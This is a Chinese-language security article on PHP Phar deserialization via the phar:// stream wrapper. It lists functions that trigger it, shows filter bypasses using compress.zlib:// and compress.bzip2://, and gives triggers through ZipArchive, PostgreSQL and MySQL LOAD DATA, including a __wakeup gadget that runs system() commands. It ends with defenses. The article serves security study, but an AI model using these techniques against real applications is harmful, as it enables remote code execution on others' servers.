Phar与Stream Wrapper造成PHP RCE的深入分析
1. 背景介绍
Phar(PHP Archive)是PHP的一种打包格式,类似于Java的JAR文件。自PHP 5.3.0起,Phar扩展默认启用。在2018年Black Hat大会上,Sam Thomas提出了通过"phar://" Stream Wrapper触发反序列化漏洞的技术,这为PHP安全研究开辟了新的攻击面。
2. 核心原理
2.1 Phar反序列化机制
当PHP对Phar文件进行某些操作时,会解析其元数据(metadata)部分,并自动调用php_var_unserialize()函数进行反序列化。关键源码位于phar.c#L618:
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
攻击者可以构造特殊的Phar包,使其元数据包含恶意序列化数据,当被反序列化时触发POP链,最终实现RCE。
2.2 Stream Wrapper机制
PHP的Stream API提供了一种统一的文件处理方式,允许通过协议(如phar://)访问不同来源的数据。Phar扩展注册了phar://这个stream wrapper,其操作定义在phar_stream_wops结构中:
const php_stream_wrapper_ops phar_stream_wops = {
phar_wrapper_open_url,
NULL,
NULL,
phar_wrapper_stat,
phar_wrapper_open_dir,
"phar",
phar_wrapper_unlink,
phar_wrapper_rename,
phar_wrapper_mkdir,
phar_wrapper_rmdir,
NULL
};
所有文件操作函数最终都会调用php_stream_open_wrapper或php_stream_locate_url_wrapper,进而触发Phar的反序列化。
3. 可利用的函数列表
3.1 文件系统函数
以下文件操作函数均可触发Phar反序列化:
-
文件信息获取:
fileatime() / filectime() / filemtime() stat() / fileinode() / fileowner() / filegroup() / fileperms() file() / file_get_contents() / readfile() / fopen() file_exists() / is_dir() / is_executable() / is_file() / is_link() / is_readable() / is_writeable() / is_writable() parse_ini_file() -
文件操作:
unlink() copy() touch()
3.2 图像处理函数
-
EXIF相关:
exif_thumbnail() exif_imagetype() -
GD库相关:
imageloadfont() imagecreatefrom*()
3.3 哈希计算函数
hash_hmac_file()
hash_file()
hash_update_file()
md5_file()
sha1_file()
3.4 其他函数
get_meta_tags()
get_headers()
getimagesize()
getimagesizefromstring()
4. 高级利用技巧
4.1 ZipArchive利用
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
4.2 压缩流包装器绕过限制
当phar://被过滤时,可以使用压缩包装器绕过:
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
// 或
$z = 'compress.zlib://phar://test.phar/test';
4.3 数据库相关利用
PostgreSQL
$pdo = new PDO("pgsql:host=127.0.0.1;dbname=postgres;user=sx;password=123456");
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
MySQL
class A {
public $s = '';
public function __wakeup() {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, "LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY '\r\n' IGNORE 1 LINES;");
MySQL配置要求:
[mysqld]
local-infile=1
secure_file_priv=""
5. 防御措施
-
禁用Phar扩展:在不需要Phar功能的场景下,禁用Phar扩展
phar.readonly = On phar.require_hash = On -
限制文件操作:避免用户可控数据直接传入文件操作函数
-
输入过滤:严格过滤用户输入的协议类型,禁止
phar://等危险协议 -
更新PHP版本:新版本PHP对反序列化有更多限制和安全改进
-
使用白名单:对文件操作函数的参数使用白名单机制
6. 总结
Phar与Stream Wrapper的结合为PHP安全带来了新的挑战,几乎所有的文件操作函数都可能成为攻击入口。开发者需要全面了解这些风险点,采取多层次防御措施,才能有效防止此类漏洞被利用。